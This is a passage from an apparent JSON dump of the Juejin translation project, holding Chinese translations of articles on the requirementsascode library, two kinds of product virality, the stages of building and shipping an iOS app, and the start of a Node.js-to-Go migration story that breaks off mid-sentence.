###\n\n![](https://cdn-images-1.medium.com/max/800/1*rZAA0h24T9SdEZYdE7stIQ@2x.png)\n\n- UseCaseModel 实例用于定义**行为者**，**用例**，它们的**流程**以及**步骤**。它讲述故事的第一章。在本文的开头你能找到一个这种模型的例子。\n- 用例模型配置 UseCaseModelRunner 实例。每个用户都有自己的运行程序，因为每个用户选择执行的用例路径可能不同。\n- 运行程序通过调用后端的**系统响应**来响应前端的**用户事件**。前端只能通过运行程序和后端通信。\n- 但是运行程序只有当用户在**流程**中的正确位置且满足步骤的**条件**时才会响应用户。例如：运行程序只有在用户已经输入了配送信息之后才会响应“进入支付详情页”事件。\n- **system reaction** 是一个单例方法。方法内部负责协调不同组件以实现该步骤，就像在第二章中描述的那样。\n- 第三章已经超出了 requirementsascode 的范畴。它留给应用程序决定。这使得 requirementsascode 可以兼容任意的软件设计。\n\n因此，基于 UseCaseModel，UseCaseModelRunner 控制了对用户可见的软件行为。\n\n通过 [requirementsascodeextract](https://github.com/bertilmuth/requirementsascode/tree/master/requirementsascodeextract)， 你可以从同一个配置运行程序的用例模型中生成文档。这样，文档就可以始终表达软件的行为了。\n\nRequirementsascodeextract 使用了 FreeMarker 模板引擎。它允许你生成任何你喜欢的纯文本文档。例如 HTML 页面。进一步的处理可以生成其它格式的文档，例如 PDF。\n\n### 你的反馈可以帮我改进这个项目 ###\n\n我从几年前就开始了 requirementsascode 这个项目，直到最近才将它公开。与最初相比，它已经得到了极大的改善。\n\n为了了解这种方法是否具有可扩展性，我尝试在一个有数千行代码的项目中使用。被证明是有效的，我也在一些更加小型的应用中尝试过。\n\n到目前为止，requirementsascode 一直都是我的业余项目。\n\n这就是为什么我需要你们的帮助。请给我一些反馈。\n\n你觉得这个想法怎么样？你能想象它在你的软件上下文中有效吗？还有其他的反馈意见吗？\n\n你可以在评论区给我留言或是在 [Twitter](https://twitter.com/BertilMuth) 或 [LinkedIn](https://www.linkedin.com/in/bertilmuth) 和我联系。\n\n你可以 [clone](https://github.com/bertilmuth/requirementsascode) 这个项目并亲自尝试一下。\n\n也可以[帮助](https://github.com/bertilmuth/requirementsascode/blob/master/CONTRIBUTING.md)在代码中记录真相。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/the-two-types-of-product-virality.md",
    "content": "> * 原文链接 : [The Two Types of Product Virality](https://medium.com/@philipla/the-two-types-of-product-virality-8ae744b1c4d7#.lwgcxzx4d)\n* 原文作者 : [Philip La](https://medium.com/@philipla)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [huanglizhuo](https://github.com/huanglizhuo) \n* 校对者: [JasinYip](https://github.com/JasinYip), [godofchina](https://github.com/godofchina)\n\n# 你真的懂病毒式营销吗\n\n无论我是在演讲还是在讲授，在讨论对于“病毒式营销”所带来的增长时，我都认为对于产品来说这是一个最好的吸引眼球和增加新用户的途径。它不但免费，而且可以带来广泛影响。\n\n我对于病毒式营销的定义是：一个具有用户流量和特征的产品会自然而然地使目前的用户把产品传播给他们的圈子里（比如朋友、同事或者家人等）。\n\n我的定义中病毒式营销并不是下面这样：\n\t\n* 物质性或非物质性的刺激传播 \n* PR\n* 口碑 \n\n病毒式营销的例子：\n\n*   **Dropbox 文件夹分享**：你和你的团队正在做一个项目，你需要共享文件给团队，所以你会尝试把队员拉进来。\n\n![](https://cdn-images-1.medium.com/max/800/1*eA5Ae-IdNiKUBJltCRBLjA.png)\n\n<figcaption> 邀请朋友、合作者或者组员加入，这样你就可以通过同步文件夹和大家共享文件了</figcaption>\n\n*   **Facebook 的照片标签**：你本能地想在照片把你的朋友标注出来。早些时候，如果你朋友不在 Facebook 上，他们会收到一封邮件告诉他们有朋友在照片中给他们加标签了，进一步就会引导他们加入 Facebook 。\n\n*   **WhatsApp 的群消息:** 你创建了一个 WhatsApp 群，用来和你的好朋友聊天，自然而然的就会去想到邀请你的好朋友加入 WhatsApp 这样他们就都能参与进来了。\n\n通过上面的例子，我发现可以进一步把病毒式营销归纳为这两类：\n\n*   **_拉取时病毒营销 (PPV):_** _这样的方式是已有的用户需要他圈子里的人加入来使用某个功能的价值_\n\n*   **_分发式病毒营销 (DPV):_**  _这样的方式是已有的用户自发地把产品传播到自己的圈子中_\n\n正如上面的例子中讲的，WhatsApp 群消息 和 Dropbox 的文件夹共享功能_需要_特定的人加入才能获取这一功能的主要价值。而 Facebook 照片标签是另一种，收到在照片中被提及消息的人通过一种很连贯的方式的意识到 Facebook 的存在。 因此，WhatsApp 和 Dropbox 属于 PPV 而 Facebook 照片标签属于 DPV.\n\n使用 PPV, 用户为了自己的利益会很积极的说服他们周围的人使用产品, 而 DPV 中, 用户只是让他圈子里的人意识到产品的存在，并且不需要通过特定的人加入而获得价值。\n\n更多 PPV 的例子:\n\n*   **Slack:** 你必须让你的同事加入你的频道使得你可以与公司的同事更高效的交流。\n*   **Splitwise:** 你需要让你的朋友加入到这个 app 中这样你才可以把需要平摊的账单，欠款，以及借款都输入里面。\n\n![](https://cdn-images-1.medium.com/max/800/1*Op_Zq7ZvAS-MDOCjcmwK9Q.png)\n\n<figcaption>需要朋友在这个产品中输入欠款及借款</figcaption>\n\n*   **Skype:** 需要你的朋友加入进来才可以和他们视频会议\n\n更多关于 DPV 的例子:\n\n*   **Instagram cross-posting:** 你自发的想要在 Facebook 或者 Twitter 上分享你的 Instagram 照片，因此他们提供了一种无缝一致的体验。你社交网络上的朋友在看到 Instagram 的链接或者点击跳转到 Instagram 的页面就会意识到 Instagram 的存在。\n*   \n![](https://cdn-images-1.medium.com/max/800/1*mKh6OB53j42OsytGP8Ydhw.png)\n\n<figcaption>Instagram ccross-posting 上传到 Twitter  — 注意链接</figcaption>\n\n*   **Hotmail 标语:** 早期 Hotmail 在它们邮件的结尾会有一句标语，那就是著名的 “Get Your Free Email at Hotmail”， 用户发送邮件时所有的接收者都会看到这条标语，然后就会意识到 Hotmail 的存在。\n\n*   **Nike+ 跑步 APP , 分享奔跑:** 当你通过 app 记录了一次精彩的跑步历程,你会很自然的想到把它分享到你的社交网络。Nike+ 在 Facebook 等社交网络上提供了一种独特的积分，它会在你的社交网络上显示你的步数和路径图。一旦你的朋友看到你的活动就会意识到 Nick+ 跑步 APP。\n\n![](https://cdn-images-1.medium.com/max/400/1*4dSbYd1PksIBpkErEM5x8w.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*BtqrKO4LcMRP0FxRWndDlQ.png)\n\n<figcaption>Nike+ app 在 Facebook 中集成的独特的分享卡片</figcaption>\n\n两种病毒营销中, PPV 在转换、激励、以及发现新用户方面更有效，因为现存的用户会很积极的说服别人加入并使用这款产品\n\n正如定义说的, PPV 意味着你的产品更有 [网络效应](http://versionone.vc/network-effects/) 因为用户会从更多用户的加入中获得价值。然而，反过来就不一样了，如果你的产品有网络效应，这并不意味着你的产品有 PPV。 举个例子来说 Reddit 拥有网络效应，但你不需要你网络圈中的朋友加入来获得它的价值，因此它并没有 PPV。\n\nDPV 常常给潜在的新用户提供了一种情景意识，这会提高他们的转换率、激活率和留存率。然而, DPV 在初级阶段其影响力是不如 PPV 的。这意味着, DPV 在更多情形下会对影响更多的观众，产生更多漏斗顶端的意识。\n\nDPV 和 PPV **并不是相互独立的** 很多产品都会拥有这两者。比如，Facebook 的照片标签被归为 DPV， 但它的一些其他的功能特性，比如事件、群组，这些都需要特定的人加入才有意义，这就产生了 PPV。\n\n当你想要给你的产品做病毒式营销时最好这两种都要考虑。能否用和怎么用都要更根据你的产品来决定。你得对你的用户以及他们与非用户交流关于这个产品是可能对应的场景有深刻的理解，这样才可以成功地运用这两种营销。\n\n做到这些是很难的, 正像平常一样[产品市场定位](http://www.startup-marketing.com/the-startup-pyramid/) 仍然是关注增长前的最重要的事情, 但如果你可以灵活运用 PPV 和 DPV 并以一种可扩展的方式运作，它们会给你带来大量的增长。\n\nPPV 和 DPV 是我用来形式化我关于营销的想法的术语，它们对我很适用，但我也想听听其他人用过或者见过的关于这些概念类似的术语或者框架。\n\n"
  },
  {
    "path": "TODO/the-ultimate-guide-to-creating-a-mobile-application.md",
    "content": "\n> * 原文地址：[The Ultimate Guide to Creating a Mobile Application](https://uxplanet.org/the-ultimate-guide-to-creating-a-mobile-application-8e2b265580d9#.sk3bzlt5z)\n* 原文作者：[Tubik Studio](https://hackernoon.com/@talkol)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[PhxNirvana](https://github.com/phxnirvana)\n* 校对者：[lovelyCiTY](https://github.com/lovelyCiTY)、[Gocy015](https://github.com/Gocy015)\n\n# 创建一个移动应用的终极指导\n\n![](https://cdn-images-1.medium.com/max/2000/1*ecU3mH6ajULJpcVFvLGcaQ.png)\n\n大多数现代人都难以想象有一天他们拿着智能手机却只用来打电话的情境。当今移动设备的迅猛发展早已超出了当初发明它们的目的——打电话和发短信。现今，即便是最普通的手机也提供了一个承载着众多日常应用的平台，这些应用使人们的生活更加愉悦。有轻便也有庞大，有资讯也有娱乐，有极简也有拟物，有提升自我的也有仅供消遣的，能够满足不同用户的不同需求，并使他们的生活更加美好。大量应用的盛行使得用户仅靠一部手机就可以完成众多工作。设个明天的闹铃，算算下周的预算，又或者给老妈发个自拍彩信，人们甚至不用去想这些简单操作后有多少专业人士的辛劳。\n\n我们早先在 [Tubik Blog](http://tubikstudio.com/blog/) 发表的文章以及这篇发表在 Medium 上的文章已经揭露了设计移动应用界面的一般步骤。今天让我们更进一步，从创意到 App Store 上架，完整地走一遍如何建立移动应用的过程。\n\n![](https://cdn-images-1.medium.com/max/800/1*LzSzKxNOKNCFTy7gEPBNtA.png)\n\n和其他创造性劳动一样，从无到有建立一个移动应用是个庞杂的过程，在每一个特定阶段都有其独有的问题和特性。尽管如此，通过在 [Tubik Studio](http://tubikstudio.com/) 上创造各种各样不同应用的基础扩展训练也可以定义一些典型的创新共性，如下所列：\n\n- 设立任务和初始工作范围\n- 估算\n- 用户/市场调研\n- UX 线框图\n- 原型\n- UI 设计\n- 动画\n- 软件架构设计\n- iOS 开发\n- 测试\n- 打包\n- 更新。\n\n尽管上面的排列是有序的，但这并不意味着你需要在完成前者之后才开始下一步。尽管上列的众多过程和阶段是有联系的，但也不能简单臆测成线性关系。不仅如此，其中的一些如测试或估算会贯穿整个流程。现在就让我们来一步一步地将灵光一闪变成真正的应用。\n\n![](https://cdn-images-1.medium.com/max/800/0*sUp1d1u14doiNvBH.png)\n\n### 设定任务和起始工作范围\n\n就像我们之前在 [logo design stages](http://tubikstudio.com/logo-design-creative-stages/) 中提过的那样，设立任务这一点是设计和随后的开发的基础。在这个阶段设计师和开发者应该从客户那里获取尽可能多的信息来制定正确的方法去实现目标。若行走无向，则寸步难进。产品设计也是一样的：若想有所产出，则必须在开始前就明确目标。这并不意味着在整个过程中目标是一成不变的：我们必须保留一定的变更灵活性，因为随着创造、调研和测试过程的不断推进，我们的目标或多或少都会发生一些变动。话虽如此，但如果在开始时没有设立目标的话，整个过程就会轻易变成一团乱麻。\n\n我们在长期实践中得出的另一个关键点是和用户交流时不仅要了解他们的需求，也要努力明白需求背后的想法和理由。如果你明白为什么你的用户想要特定的颜色、形状或过渡后，（必要时）你就更容易在其它的地方将这些想法转化成相应的实现，以满足用户的需求，同时也能在保证用户体验的前提下，兼顾资源消耗及交互控制。\n\n从用户那里得来的信息越多就越容易设定正确的方向。设计概要、电话或网络会议、闲谈、头脑风暴、心情版等都是创造性工作的良好开端。就我们而言，这些经验丰富的销售经理和商业分析师打响了与用户交流的第一枪，并能很好的搭起沟通桥梁。\n\n![](https://cdn-images-1.medium.com/max/800/0*CKlxuiZEL4IpMha7.jpg)\n\n在此阶段十分推荐获取如下信息：\n\n- 产品的核心价值和卖点\n- 目标人群\n- 目标地域（如果需要的话）\n- 代表独特性的关键词\n- 用户眼中产品不可或缺的主要结构和功能\n- 用户偏好的视觉特性（颜色、风格、亮点、与其他已有电子产品或品牌的联系等）\n- 可能使用该应用的潜在科技、设备和平板（译者注：潜在目标平台）\n- 与公司已有产品的一致性（如果需要的话）（译者注：界面风格等能让人一眼就能认出来是某公司的产品的特性） \n- 数据传输，需要服务端或其他技术的支持\n- 特殊要求\n\n很明显，这份清单并没有罗列全部信息，但它包含了一般设计和开发流程中最重要的要素。在此阶段应该得出进一步工作的各部分基础信息，计划出时间点和冲刺阶段，以及高效设计和开发的解决方案。\n\n### Estimation\n\n前一阶段收集的信息使得商业分析师和销售经理可以初步预估项目的开发周期和经费开销。就像其他任何创新过程一样，计划总是赶不上变化：这时就应该在设计的每一阶段都回头重新审视数据。当然，也有一些产品十分简单、结构明确、平台单一，整理用户数据和需求并估计就会变得相当准确。然而，项目越复杂，重新估计和调整的可能性就越大。更重要的一点：重新估计并不一定意味着时间或预算的增加，创新过程中的设计师和开发者可能会找到优化设计和技术的解决方案，这甚至能缩短预估（的时间或金钱）。\n\n如果是全栈团队的话这个流程会相当完美的：这意味着商业分析师可以让设计师和开发者在分析和评估的最早期就参与到进程中，因此可以提供更真实准确的时间和金钱预算。还有就是有专家参与的讨论可以从技术角度提供大量独到知识和见解，这些会影响应用设计和开发阶段对时间和资源的需求。\n\n![](https://cdn-images-1.medium.com/max/800/0*pT7VMdDUoUsTElBa.jpg)\n\n### 用户/市场调研\n\n这一阶段要基于已建立的任务和目标，UI/UX 设计师会在对应用整体功能有进一步了解之后开始行动。调研阶段通常是用户调研和市场调研分头并进。\n\n用户调研意味着对核心目标人群心理特性的更深入研究，不同因素的影响如颜色、样式选择、情感交互和特定群体体验上的逻辑，信息资源和一些创造性的表现形式都可以让用户参与进来并提高其活跃度。市场调研意味着浏览市场部分，主要是对竞品的深入研究。视觉设计应追求原创性和辨识性（独到性），使得产品能鹤立鸡群并牢牢吸引目标人群的注意力。\n\n广告业知名专家 David Ogilvy 强调了调研对有效成果的重要性：忽略调研的广告人就像忘记解密敌方通信一样愚蠢。方法、目标和技术随时间而改进，但调研扮演的角色却越来越重要。忽视调研阶段而只依赖于他们的创造性直觉、经验和天赋的话，设计师有失败的危险了，因为他们不会知道应用实际工作场景，也无法使其变得高效、用户友好而且独特。\n\n![](https://cdn-images-1.medium.com/max/800/0*_zW-wAx5G6vZLeTe.jpg)\n\n### UX 线框图\n\n这个阶段的目标是为产品所要解决用户最基本的问题和痛点设定一个清晰、有序的结构来合理的布局，过度和交互。通常情况下会完成一套示意性的精度不高的草稿（数字或纸张形式）。\n\n在 [我们先前的一篇文章中](http://tubikstudio.com/design-faq-platform-customers-set-two/) 提供了一些这方面的示例。举个例子，当我们想到要盖一栋房子的时候，我们往往想到的是其物理上从无到有的过程，而不是一大堆的计划表、草图和各种计算。当然也可以什么都不考虑直接盖个空中楼阁。那当它有一天毫无征兆地塌了的时候麻烦你合上那脱臼的下巴。华而不实的应用并不会吸引到任何死忠用户。如果你想有一幢可靠的房子，一套可持续运转的机器，一个强大的应用又或者是个高度集成的网站，原理都一样——多花点时间来设计和计划。这并不会浪费时间，恰恰相反，这将节省你在未来可能花在重新设计和找问题上的时间。 \n\n这就是 UX 设计阶段的目标。UX 线框图应该紧密结合用户调研，竞品调研以及对获取数据的分析结果。该阶段应该产出明晰的策划，包括产品功能复杂度、系统事务映射和包含各界面元素在使用中的位置的交互。在某些情况下，铅笔描绘的线框图就够用了，当然，用特定工具和软件优化设计并提升体验就更好了。\n\n![](https://cdn-images-1.medium.com/max/800/0*0DYWLqF8FG_JT5DU.jpg)\n\n### 原型\n\n“原型”最初的含义是用来测试解决方案或设计是否有效的样品。原型不应该被看作最终产品的相似物，因为它们本来就不是（用来做最终产品演示的）。原型的目标是让设计师、顾客和用户来检查设计是否正确且合适。.\n\n最近几年在 APP 和网站设计领域产品原型的价值飞速提升。事实上这很容易解释，尽管原型相对粗糙，但相比复杂计划、图示和线框图来说，原型使设计师、顾客和测试离最终产品的外观和功能更近了。当然，这并不表示计划和线框图可以被省略，它们仍是设计中必不可少的一部分。然而，当你想提升效率并检查设计是否有遗漏时，原型会有很大的帮助。\n\n考虑到实际上许多客户都将原型当作十分接近最终版的产品设计，或者叫做 “变动中的 UI”，这种操作在实际中效率并不高。原型是在 UX 设计和 UI 设计中更高效和有用的一步。所以我们在 [Tubik Studio](http://tubikstudio.com/) 中提供了 UX-原型-UI 步骤的工作流。\n\nUI 阶段的原型是建立用来展示应用大概样式的而不是测试和提升功能特性。这是一个经常被搞混的点。在 UI 设计的最终阶段为所有细节建立原型在大多数时候没有想象的那么合乎情理。这会花费巨大的时间代价，与其这样，还不如将时间花在构建一个 demo 版本上。此外，可用性应该在 UX 阶段就已经完整地检查过了，否则，在大部分 UI 工作完成后再去改变那些不够高效的用例就会非常困难。当然，为 UX 和 UI 各自建立原型是非常棒的，但目前为止并不是所有的设计师和顾客都同意将大量时间耗在设计阶段，他们想又快又便宜地测试和改善设计。\n\n![](https://cdn-images-1.medium.com/max/800/0*geebEHILlFz0INfp.jpg)\n\n### UI （用户界面）设计\n\n用户界面实际上是一块能让用户和产品进行交互的固定区域。其包含所有提升易用性的工具以及满足目标用户需求和愿景。所有会影响产品使用和用户交互的视、听、触摸感官的特性都应该被分析和优化，以满足应用或网站的设计目标。例如颜色、样式和字体、形状和形式、配图和动画等都可能对最终产品体验产生巨大的影响，或好或坏。\n\n通常情况下，UX 研究和线框阶段是关于网站或应用如何运行的，而 UI 是关于其长什么样的。这些阶段都是为打造成功的交互而努力，但 UX 更强调逻辑、联系和用户行为，而 UI 则提供所有概念的具体视觉表现。这意味着理想情况下设计师应该先开始 UX 部分，专注于布局并使其更强大、合逻辑、明了且易上手。没有这些重要工作的话你的界面很有可能会一团乱麻。\n\n在以原型的形式测试了 UX 并对布局、过渡和特性达成一致之后就开始了 UI 的步骤。这是为你刚搭建好骨骼和心脏的产品，添加血肉的过程。在此阶段，产品会被赋予色系、形状、布局细节特征、样式、动画元素等。\n\n对用户界面的一切决策都会直接对用户体验产生积极或消极的影响，所以 UX 线框图和 UI 设计应该互相支持并遵循相同的策略，否则某一阶段的高效解决方案就无法在另一阶段得到发挥了。\n\n![](https://cdn-images-1.medium.com/max/800/0*xkI4lh2vKpFI6KdL.jpg)\n\n### 动画\n\n说到 [界面动画](http://tubikstudio.com/ui-animation-eye-pleasing-problem-solving/) 在移动应用中的细节和优点时，我们提及到的最有效的方式是在产品创造的每一个阶段都对这一层面进行思考。然而，最佳敲定方案的时机是在当 UI 设计基本完成，通用样式确定下来的时候。\n\n像所有被放到交互中并起到作用的元素一样，动画必须是功能性的元素，不能仅仅是个装饰。如在计划用户使用流程时放进运动元素，设计师在规划用户使用产品流程时，就应该考虑如何添加运动元素，并且他们应该在将运动元素加入布局或过场之前，仔细考虑清楚这是否能提高产品的可用性、多用性以及用户黏性。[UI 中的动画](http://tubikstudio.com/ui-animation-eye-pleasing-problem-solving/) 要求三思而后行并且其背后总是要有着明确的目标。在交互过程中使用动画必须要有显著的优点和实用性，并且能够盖过与之伴随的潜在缺点。\n\n![](https://cdn-images-1.medium.com/max/800/1*j6Gn2p0WGOKpR4Vh1hEXdQ.gif)\n\n在这个阶段完成后，视觉细节任务就完成了，设计师将素材转给开发者，后者会巧夺天工地为它们赋予生命。当然，这是再次审视估算的好时机，同时可以靠已完成的设计来明确计划的各开发阶段。\n\n### 软件架构设计\n\n一个值得注意的细节是扩展性在移动应用中是很重要的东西。计划软件架构可以和设计齐头并进。这是一个复杂的过程：通常会包括许多次迭代，同时接收设计团队和开发团队的不断反馈。架构设计的主要目标是建立健全完整软件应用架构（前端和后端）。在这个阶段开发者决定最有效率的 开发和维护应用的技术和工艺解决方案。最终决定取决于诸多因素，如信息传输环境、设计的复杂性、存储数据的必要性和记录功能等。后端开发通过网络建立与应用双向同步数据的桥梁。\n\n### iOS 开发\n\n在 Tubik ，我们和其它的 iOS 开发者一样，使用高效、灵活、功能齐全的 Xcode 进行实际的编码。就像在 [官方网站](http://help.apple.com/xcode/mac/8.0/#/devc8c2a6be1) 上描述的那样，**Xcode 是 Apple 的集成开发环境（IDE）。使用 Xcode 来为苹果设备开发软件，包括 iPad、iPhone、Apple Watch、Apple TV 和 Mac。Xcode 提供管理整个工作流的工具，从建立应用到测试、优化和在 Apple Store 上架。**\n\nXcode 只在 Mac 设备上运行，并且拥有开发 iOS 应用所需的一切。官方没有提供在 Windows 或者 Linux 上运行的方式。这意味着如果想为iPad、iPhone、Apple Watch、Apple TV 和 Mac 开发应用而没有 Mac 的话，就必须买一台去。\n\niOS 开发者最常用的两种语言是 Objective-C 和 Swift ——我们在 [早期的博文](http://tubikstudio.com/swift-or-objective-c-tool-tips-for-ios-developers/) 里对比了两者的优缺点。从 2014 年开始，Swift 在开发中开始被更多的使用，因为 Objective-C 对于开发者而言是一种较难上手的语言。尽管如此，Objective-C 对于早期低 RAM 和处理器的 iPhone 硬件来说有着良好适配性，并且更易维护基于 Objective-C 开发的应用。Swift 紧跟最新设备的步伐，让编程人员在编码过程中更快（译者特别保留的校对注：真的能更快啊，语义精简，语法糖多），它也更易用、更精简、更安全。创建 iOS 10 的应用时，需要安装 Xcode 8 和 iOS 10 SDK，也可以在 Apple 找到。在这个版本的 Xcode 上 Swift 和 SDK 有些重要更新。\n\n![](https://cdn-images-1.medium.com/max/800/1*GrfK3MtvPGwQwHoFP_hm7A.png)\n\n在这个建立移动应用的阶段，iOS 开发者们考虑应用架构，编写代码，将功能和界面结合起来，修改代码调试直到最终发布到 App Store。还有，编写单元测试和整体测试都是这个阶段的相关步骤。Interface Builder 是 Xcode 的特性之一，该特性是相对于纯手写客户端代码的一种替代方案，它允许开发者在可视化界面上完成应用的开发。这项特性允许开发者通过拖拽来向应用中加入可视控件。 AutoLayout 则能根据不同屏幕的尺寸实现应用界面的布局自适应。而在 Storyboard 中，开发者能够准确的查看应用在不同屏幕上的各种布局，使用预览模式，就能在完成编辑后实时展示应用的（在不同屏幕上的）实际视觉效果。\n\n许多开发者都认为文本编辑器是必需品，尽管理论上 Xcode 可以完成所有工作。又长又复杂的代码是很难操控的，除非程序猿有一款支持所有相关语言语法的编辑器。\n\n![](https://cdn-images-1.medium.com/max/800/0*CZeHN4LEVF-unrs4.jpg)\n\n大多数情况下，当一部分程序猿在完成客户端时，另一部分在编码整合前端和服务端，如数据库、接口、中间件等。\n\n另一个需要写明的点是计划工作流和参与开发的人数取决于项目的复杂度和紧要性。对于小项目来说，一个 iOS 开发者可能就搞定了应用里的全部架构。对于十分复杂的项目来说，至少需要两个对软件架构和客户端以及服务端都有经验的程序员。.\n\n这个阶段的主要目标是建立一个具有完整功能的应用，具有可扩展性并已经和服务端如数据库、接口和其他相关必要组件连接起来。如果客户没准备好建立自有的服务端组件，可以购买 BaaS(Backend as a Service) 服务或其他产品。服务包括大量存储选择和特性，但它们不能是完全的一站式，因为它们通常不能提供深度和广度的分析。这就意味着客户端需要一个了解后端的工程师来将其加到应用中。\n\n![](https://cdn-images-1.medium.com/max/800/0*dOaBffq7pdVmef7e.jpg)\n\n### 测试\n\n**“高质量从来不是幸运的偶然，它一定是高度转注、辛勤付出、明智选择和正确执行的必然结果。”**，William A.Foster 曾这样说到。在数字产品测试方面，它毫无疑问是正确的。\n\n测试是整个应用设计和开发周期中最关键的阶段之一，它可以在应用上线前就找到问题。App Store 不会接受任何有编译错误的应用，所以有上述问题的待提交应用是不可能通过审核的。通常情况下，当应用有功能性问题时，用户会很快弃用该应用，无论吹得多天花乱坠。如果他们正确而高效地工作来迎合目标用户的期许并解决他们的问题，即使最简单的应用也可能获得贸易、商业、广告或其他目标上的成功。\n\n测试并不意味着开发者无需关注质量。类比来看，每一本书、杂志甚至报纸都会经过编辑的审核，但这并不是说记者或作家毫无天赋或不合格的。在提升可用性和效率方面，术业有专攻，设计和开发移动应用也是如此。如果开发者干得相当漂亮没有任何问题，测试的目的就不仅仅是找出问题。恰恰相反，它帮助了解应用的质量并通过实际交互找到改进的方法。\n\n![](https://cdn-images-1.medium.com/max/800/0*hLQDATaKyLwRspQ3.jpg)\n\n自动化测试很受欢迎，因为其高效、便宜、可信赖。iOS 模拟器和其他测试工具如 Appium、Frank、Calabash、和其他都可以帮助测试应用并指出需要注意的地方。每个阶段都持续测试可以避免小问题累积成大问题。\n\n在测试过程中，开发者通常会讲应用的全部流程在真机或是 iOS 模拟器上走一遍，确保每个界面都没有问题并可以完成期望操作。修复和调试都可以在 Xcode 上完成。\n\n测试应该涵盖应用的全部方面。开发者需要在不同设备上检查（iPhone、iWatch、iPad、iPod等）因为诸如屏幕分辨率，处理器，电池和内存可能不同从而影响到应用的运行。也要测试功能性（是否运行完好？），操作和加载时间（密集操作是否会响应变慢？）和 UX（是否易用？）。除了上述的几点之外，开发者也会查看崩溃报告来查找修复点。\n\n![](https://cdn-images-1.medium.com/max/800/0*Pf9qn283QTtoDySN.jpg)\n\n以下是移动应用测试的几个方面：\n\n**功能测试。**是任何应用最基本的测试，来确保应用按需求完成功能并且在交互中没有遗漏的功能。.\n\n**性能测试。**这方面包括用户应用性能、服务器性能和网络性能。举个例子，检查特定状况下的性能指标和应用行为，如低电量、网络不好、内存不足等。\n\n**内存测试。**测试每个应用是否会在浏览时优化内存占用。\n\n**打断测试。**一个应用可能在工作时面临许多打断的情况，如来电或网络时断时续。这种测试可以测出应用在这些情况下的表现。常见的打断情形如下：\n\n- 来电和去电，短信或彩信以及其他通知\n- 低内存预警\n- 插拔数据线\n- 网络断续\n- 媒体播放器开关\n- 设备不同电量，如低电量警告等。\n\n**安全测试。**检查应用被攻击的弱点，认证和授权策略，数据安全，会话管理以及其他安全标准。\n\n**易用性测试。**这项测试应该在早期阶段就开始实施，来验证应用是否达成目标以及是否受到用户好评。正如 Apple 人机工程设计部门发言人 Joyce Lee 所说的那样：“易用性所回答的问题是，’用户是否能达成期望的目标？‘”\n\n### 提交 / 发布\n\n最后就是应用准备上线向用户发布的时候了。要想提交到 App Store，需要加入 iOS 开发计划。Apple 保留应用上线前复审和通过审核的权利。一般建议计划一周左右的时间来等待 Apple 审核通过。如果应用有商业需求，还需要额外填几个表格等待另外的审核，通常在一天之内完成。\n\n在 Apple Store 发布应用有几个步骤，包括设置代码，建立配置和清单，然后通过 Xcode 来提交，等待验证。可能会修改并重新提交几次，所以一开始就了解过程和打磨细节可以节省时间。\n\n![](https://cdn-images-1.medium.com/max/800/1*rtx4DdO8kvQF303W4Bv3aA.png)\n\n正如你所见，一个移动应用走过的道路是相当复杂的，包括大量保证功能性、美观和性能质量的步骤。别忘了我们的下一篇文章将提供每一步更深入的研究以及对设计和开发大有裨益的工具和技巧。\n"
  },
  {
    "path": "TODO/the-way-of-the-gopher.md",
    "content": "> * 原文地址：[Making the Switch from Node.js to Golang](https://medium.com/@theflapjack103/the-way-of-the-gopher-6693db15ae1f#.f1purx7x4)\n* 原文作者：[Alexandra Grant](https://medium.com/@theflapjack103)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[王子建](https://github.com/Romeo0906)\n* 校对者：[Mark](https://github.com/marcmoore)，[Jiang Haichao](https://github.com/AceLeeWinnie)\n\n# 从 Node.js 到 Golang 的迁徙之路\n\n**本文由 Digg 的软件工程师 [Alexandra Grant](https://twitter.com/TheFlapjack103) 所作，最初发表在 [Medium](http://t.umblr.com/redirect?z=https%3A%2F%2Fmedium.com%2F%40theflapjack103%2Fthe-way-of-the-gopher-6693db15ae1f&t=ZTNjOWEzYTUzMGUzNWQwNDk2NDY4ZDM1YWNlMGQwZWI0ZGMwMDFlMCx2SE41TFFrZg%3D%3D)。**\n\n我在大学时期就开始涉猎 JavaScript 并会随便写一些网页。我把 JS 当作写 C 语言和 Java 时候的一种小憩，并且我认为它是一种相当受限制的语言，它一直在鼓吹能够实现一些令用户叹为观止的特效和动画。我第一次教人编程就是用的 JS，因为它简单易学、能快速给开发者以可见的结果。将它与 HTML 和 CSS 代码写到一起，就能得到一个网页，初学者对此爱不释手。\n\n然后意想不到的事情发生了。两年前，我还在一个研究性质的岗位上从事服务端编程和安卓应用原型的开发的时候，Node.js 突然跃入了我的视野。后端的 JavaScript？谁会拿它当回事儿呢？充其量也就是尝试让服务端性能、扩展等方面的开发容易些罢了，但随之而来的是运行和扩展性能的下滑等等。或许那仅仅是我根深蒂固的开发者的怀疑论，当读到一些有关快速、简单和高产的东西的时候，我就总是会那样想。\n\n![image](http://ac-Myg6wSTV.clouddn.com/012e5669d7719053f0ef.gif)![image](http://ac-Myg6wSTV.clouddn.com/a512fa1f20bb772ab90d.gif)\n\n然后是接踵而至的研究、报告、教程和附加项目，六个月之后我才意识到自从第一次读到 Node 以来，我一直在心无旁骛地研究它。它太简单了，尤其是当我每两个月就要开发新的创意的时候我更加意识到它的方便。但是 Node 并不仅仅是为应用原型和小项目而生的，甚至很多像 Netflix 这样成熟的公司也将业务分了一杯羹给 Node。霎时间，我手里拿着金刚钻看到了这世界充满了瓷器活儿。\n\n很快又几个月过去了，我来到了现在的工作岗位，在 [Digg](http://t.umblr.com/redirect?z=http%3A%2F%2Fdigg.com&t=Y2ZjZDUzMjNkYmVhZmMyMzk5NTE5MzhhOWZlZGM5ZWNkZjIwNWIwZix2SE41TFFrZg%3D%3D) 做一名后端开发人员。早在 2015 